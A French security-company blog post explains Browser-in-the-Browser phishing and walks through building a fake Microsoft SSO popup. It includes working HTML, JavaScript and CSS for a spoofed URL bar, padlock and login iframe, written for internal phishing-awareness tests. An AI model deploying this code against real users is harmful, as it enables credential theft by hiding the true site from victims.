Advanced Phishing - Browser-in-the-Browser Attacks (BitB)

Photo by Kevin Ku on Unsplash

Advanced Phishing - Browser-in-the-Browser Attacks (BitB)

Un type de phishing très complexe à détecter...

Le phishing (hameçonnage en français 🤓) reste un des vecteurs d'attaque les plus utilisé par les hackers pour tenter de compromettre un réseau d'entreprise. Bien que les différents outils techniques sont capables de détecter de nombreux phishing et protéger l'utilisateur, certaines techniques de phishing avancées restent complexes à détecter.

Les limites de la sensibilisation des collaborateurs

Bien que de nombreuses entreprises soient conscientes de l'importance de former et sensibiliser leurs collaborateurs aux bonnes pratiques liées à l'utilisation des outils informatiques, ce genre de sensibilisation a ses limites.

Pour détecter les tentatives de phishing, nous enseignons les bonnes pratiques suivantes aux collaborateurs:

  • Contrôler l'e-mail de l'expéditeur. Ne pas se fier au nom affiché
  • Faire attention au domaine de l'expéditeur (faux jumeaux, utilisations d'extension alternatives, etc.)
  • Faire attention au contenu du mail (notions de sécurité, facteur d'urgence, pression hiérarchique, demande d'informations personnelles, incitation à saisir des données dans un formulaire)
  • Pièce jointe inattendue en provenance d'un utilisateur non vérifié ?
  • Faire attention aux liens raccourcis

Tout ceci est nécessaire et permet aux collaborateurs de détecter la majorité des tentatives de phishing. Mais alors, comment les hackers pourraient déjouer ce genre de contrôles ?

Les URL - Faciles à contrôler ?

Les collaborateurs comprennent rapidement l'importance de contrôler les URL lorsqu'ils sont redirigés sur un site web. Cependant, la technique Browser-in-The-Browser permet de complexifier ce point de contrôle.

En effet, cette technique va permettre d'afficher une URL valide à l'utilisateur dans le but de lui faire baisser sa rigueur d'analyse.

BitB - C'est quoi exactement ?

C'est une technique de phishing qui consiste à simuler une page web à l'intérieur d'une page web réelle. Elle tire avantage des fenêtres d'authentifications de prestataires tiers comme Google ou Facebook que certains site web proposent d'utiliser pour se connecter sur leur applications. Bien que nous ne recommandons de ne pas utiliser cette méthode, de nombreux utilisateurs le font par simplicité (ils n'ont pas besoin de créer un compte manuellement sur le site web en question). Les plus connus sont :

  • Sign in with Google
  • Sign in with Facebook
  • Sign in to your account (Microsoft)

Voici un exemple réel lorsqu'on essaie de se connecter sur le portail client Roomz.io par exemple. Le site nous propose de se connecter avec différents types de comptes :

2022-06-28 16_31_28-ROOMZ _ Sign In – Brave.png

Et voici ce que l'on voit si on choisit d'utiliser son compte Microsoft. On est invité à saisir son e-mail, puis son mot de passe.

2022-06-28 16_26_31-Connectez-vous à votre compte – Brave.png

Certaines pages de connexion sont un peu différentes, mais l'idée reste la même. On remarque que l'URL du navigateur pointe bien sur login.microsoftonline.com et une fois connecté, l'utilisateur est redirigé vers le site d'origine.

BitB - Exemple réel - Login PRTG

Bref, passons à la pratique ! Les utilisateurs de PRTG, logiciel de Monitoring d'infrastructure, peuvent utiliser le service d'authentification de Microsoft pour se connecter sur l'application.

2022-06-28 16_38_23-Welcome _ PRTG Network Monitor (SMPRTG02) – Brave.png

Lorsqu'un utilisateur clique sur le bouton Log in with single sign-on, un popup Microsoft s'affiche et invite l'utilisateur à saisir son e-mail, puis son mot de passe. Si la combinaison est correcte, il est connecté sur l'application.

Voici la page que nous avons été capable de faire chez CISEL pour tenter de piéger nos collaborateurs sur ce service.

2022-06-28 16_43_57-Welcome _ PRTG Network Monitor – Brave.png

On remarque que le domaine utilisé dans cette attaque utilise la technique des faux jumeaux pour tromper le domaine de CISEL (utilise un "i" à la place du "L"). Si l'utilisateur ne remarque pas ceci, la page de login est pratiquement impossible à identifier comme frauduleuse. En effet, on peut voir que le domaine est bien celui de Microsoft.

Bref, comment ça fonctionne ?

Premièrement, le but est de recréer la fenêtre du navigateur. Vu que la majorité des navigateurs utilisent un layout similaire, il s'agit d'avoir une barre de titre, une barre avec l'URL et le contenu en dessous.

Exemple de structure de la fenêtre

<button id="trigger" type="button">trigger</button>
<div id="bitb" class="w:window" style="display: none; position: fixed; top: calc(50vh - 660px / 2); left: calc(50vw - 540px / 2)">
   <div class="w:title-bar-width">
      <div id="draggable" class="w:title-bar">
         <!-- Title bar with title and controls -->
         <div class="w:title">
            <img src="./svg/logo.svg" width="20px" height="15px" class="w:logo" alt="windows icon">
            <span class="w:logo-description">Sign in to your account</span>
         </div>
         <div class="w:controls">
            <!-- Control group -->
            <div id="minimize" class="w:minimize-wrapper">
               <span class="w:minimize"></span>
            </div>
            <div id="maximize" class="w:maximize-wrapper">
               <span class="w:maximize"></span>
            </div>
            <div id="exit" class="w:exit-wrapper">
               <span class="w:exit"></span>
            </div>
         </div>
      </div>
      <div class="w:url-bar">
         <!-- Url bar with padlock -->
         <div class="w:ssl-padlock-wrapper"><span class="w:ssl-padlock"></span></div>
         <span class="w:domain-name">domain.com</span>
         <span class="w:domain-path">/path/here</span>
         <div class="w:url-end-wrapper">
            <span class="w:url-end"></span>
         </div>
      </div>
   </div>
   <!-- Content -->
   <iframe src='https://phishing.com/get/phished' class="w:content" title="example portal"></iframe>
</div>

Le plus simple pour avoir une fenêtre réutilisable est d'utiliser une iframe pour le contenu et d'importer le CSS dynamiquement avec du JavaScript en détectant le navigateur et le système d'exploitation.

Détection OS, Browser et chargement du CSS

document.addEventListener('DOMContentLoaded', async () => {
   // Detection du navigateur
   const agent = navigator.userAgent
   let browser = 'chrome'
   switch (true) {
      case Boolean(agent.match(/edg/i)):
         browser = 'edge'
         break
      case Boolean(agent.match(/opr\//i)):
         browser = 'opera'
         break
      case Boolean(navigator.brave):
         browser = 'brave'
         break
      case Boolean(agent.match(/firefox|fxios/i)):
         browser = 'firefox'
         break
   }
   // Detection du système d'exploitation (nécessite un context sécurisé (https))
   let os = 'windows10'
   try {
      let ua = await navigator.userAgentData.getHighEntropyValues(['platformVersion'])
      if (ua.platform === 'Windows') {
         let ver = parseInt(ua.platformVersion.split('.')[0])
         if (ver >= 13) os = 'windows11'
      }
   } catch {}
   // Chargement du css
   let link = document.createElement('link')
   link.rel = 'stylesheet'
   link.type = 'text/css'
   link.href = `/${os}/${browser}.css`
   document.getElementsByTagName('head')[0].appendChild(link)
})

En recréant notre propre fenêtre, on peut fausser les informations qui devraient habituellement alerter l'utilisateur tel que l'URL et le cadenas indiquant un certificat SSL valide.

Une fois que la fenêtre est créée, il faut s'occuper de son comportement, c'est-à-dire :

  • Déplacement
  • Fermer/ouvrir la fenêtre
  • Maximiser/minimiser

Pour le déplacement, la fenêtre est en 'position : fixed' et ses coordonnées changent lorsque l'utilisateur déplace (drag) la barre de titre.

Gestion du déplacement de la fenêtre

let drag = false
let x = 0
let y = 0
let bitb = document.querySelector('#bitb')

// gère le movement de la fenetre.
// inspiré par https://www.w3schools.com/howto/howto_js_draggable.asp
function move(element, event) {
   element.style.left = (element.offsetLeft - x + event.clientX) + "px"
   element.style.top = (element.offsetTop - y + event.clientY) + "px"
   x = event.clientX
   y = event.clientY
}

// Initialisation du déplacement
document.querySelector('#draggable').addEventListener('mousedown', (e) => {
   x = e.clientX
   y = e.clientY
   drag = true
})

// Déplacement de la fenêtre
window.addEventListener('mousemove', (e) => {
   if (drag) move(bitb, e)
})

// Fin du déplacement
window.addEventListener('mouseup', (e) => {
   drag = false
})

Pour faire apparaitre/disparaitre la fenêtre, le plus simple est de changer sa propriété 'display' de 'none' à 'block' et vice versa.

Affichage et cachage de la fenêtre

// Fonctions generiques pour afficher/cacher un element
// Il aurait aussi été possible d'utiliser une classe au lieu d'un style inline
function show(element) {
   element.style.removeProperty('display');
}

function hide(element) {
   element.style.display = 'none'
}

document.querySelector('#trigger').addEventListener('click', () => {
   show(bitb)
})

document.querySelector('#exit').addEventListener('click', () => {
   hide(bitb)
})

La fonctionnalité de maximisation de la fenêtre peut facilement être implémentée avec l'api fullscreen du navigateur, tandis que la minimisation est plus problématique, car nous ne pouvons pas ajouter cette fenêtre à la barre de tache de l'utilisateur. Notre solution est de simuler l'animation et de fermer la fenêtre.

Maximisation et minimisation

// Maximisation avec l'api fullscreen
document.querySelector('#maximize').addEventListener('click', () => {
   if (document.fullscreenElement != bitb) {
      bitb.requestFullscreen()
   } else {
      document.exitFullscreen()
   }
})

// Minimisation en applicant la class minimized le temps de la transition.
// w:minimized fait une translation en hauteur sur une durée de 300ms
document.querySelector('#minimize').addEventListener('click', () => {
   bitb.classList.add('w:minimized')
   setTimeout(() => {
      bitb.style.display = 'none'
      bitb.classList.remove('w:minimized')
   }, 300);
})

Finalement, il reste quelques fonctionnalités à implémenter pour augmenter l'immersion de l'utilisateur.

  • Décourager l'utilisateur à utiliser le site en arrière-plan
  • Simuler la connexion SSO

Pour décourager l'utilisateur à utiliser le site en arrière-plan, nous pouvons assombrir le contenu avec un filtre, ou en affichant une animation de chargement.

Encore un peu de fine-tunning

/* css pour la couverture du fond */
.cover {
    position: fixed;
    z-index: 2000;
    top: 0px;
    right: 0px;
    bottom: 0px;
    left: 0px;
    background-color: rgba(0, 0, 0, 0.3);
    display: flex;
    align-items: center;
    justify-content: center;
}

/* css du spinner sur https://tobiasahlin.com/spinkit/ */
<!-- Cover ajoutée à la page -->
<div id="cover" class="cover" style="display: none">
   <div class="sk-chase">
      <div class="sk-chase-dot"></div>
      <div class="sk-chase-dot"></div>
      <div class="sk-chase-dot"></div>
      <div class="sk-chase-dot"></div>
      <div class="sk-chase-dot"></div>
      <div class="sk-chase-dot"></div>
   </div>
</div>
// Logique d'apparition de la cover
let cover = document.querySelector('#cover')

// ajout de l'apparition de la cover à l'evenement déjà existant
openTrigger.addEventListener('click', () => {
   show(bitb)
   show(cover)
})

// ajout de la disparition de la cover à l'evenement déjà existant
closeTrigger.addEventListener('click', () => {
   hide(bitb)
   hide(cover)
})

Pour simuler la connexion SSO, nous utilisons Window.postMessage pour notifier la page principale qu'elle peut rediriger l'utilisateur sur la page officielle ou fermer la fenêtre et afficher un message d'erreur.

Simulation de connexion SSO

// dans le document en iframe
document.querySelector('#close').addEventListener('click', () => parent.postMessage('close'))

// dans la page principale
window.addEventListener('message', (event) => {
   if (event.data == 'close') {
      hide(bitb)
      hide(cover)
      // redirection ou affichage d'une erreur comme retour à l'utilisateur
   }
})

Pour finir, il faut être conscient que cette technique a plusieurs limitations.

  • La fenêtre est contrainte au navigateur. Si le navigateur bouge ou change de taille, la fenêtre sera impactée.
  • Elle n'est pas applicable aux mobiles
  • Les performances peuvent laisser à désirer
  • Elle dépend de la crédibilité de la page d'origine.

Conclusion

Le phishing reste un vecteur d'attaque très utilisé et aucune société, peu importe sa taille ou son domaine d'activité, n'est épargnée. Former ses collaborateurs avec des programmes de sensibilisation continus est essentiel et ne doit pas être négligé. Vos collaborateurs ne doivent pas être le maillon faible de votre sécurité, mais ils doivent devenir votre partenaire principal en terme de sécurité de l'information.

A propos des auteurs

imageedit_2_2965616244.png

Cyrill Gremaud Security Solutions Architect @ CISEL Informatique SA

1632211782035-modified.png

Kenan Augsburger Stagiaire en sécurité @ CISEL Informatique SA